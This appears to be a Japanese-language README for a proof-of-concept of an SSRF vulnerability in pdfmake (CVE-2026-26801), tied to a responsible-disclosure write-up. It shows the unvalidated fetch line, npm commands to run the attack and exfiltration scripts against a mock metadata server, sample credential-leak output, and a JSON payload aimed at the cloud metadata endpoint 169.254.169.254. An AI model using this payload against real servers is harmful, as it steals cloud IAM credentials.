| フィールド | 値 |
|---|
| パッケージ | pdfmake |
| バージョン | >= 0.3.0-beta.2, <= 0.3.5 |
| 修正版 | 0.3.6 |
| CVE | CVE-2026-26801 |
| タイプ | サーバーサイドリクエストフォージェリ (SSRF) |
| 場所 | src/URLResolver.js |
| 深刻度 | 高 |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
docDefinition に images、attachments、または files 内の URL が含まれている場合、pdfmake は検証なしでそれらを取得します:
npm install
npm run metadata
npm run server
ブラインド SSRF (サーバーが外部リクエストを行うことを証明):
npm run attack
完全読み取り SSRF (生成された PDF に資格情報が埋め込まれる):
npm run exfiltrate
npm run attack)メタデータサーバーの出力:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
これは、脆弱なサーバーが制御されたエンドポイントに対して外部リクエストを行ったことを証明します。
npm run exfiltrate)攻撃スクリプトは exfiltrated.pdf を生成します。任意の PDF ビューアで開くと、AWS 資格情報の JSON がファイル添付 (metadata.json) として埋め込まれています。これは、ブラインド SSRF だけでなく、完全なデータ流出を証明します。攻撃者は実際のレスポンス本文を PDF 内で取得できます。
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
発見の経緯、攻撃チェーン、開示のタイムラインを含む完全な技術解説: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf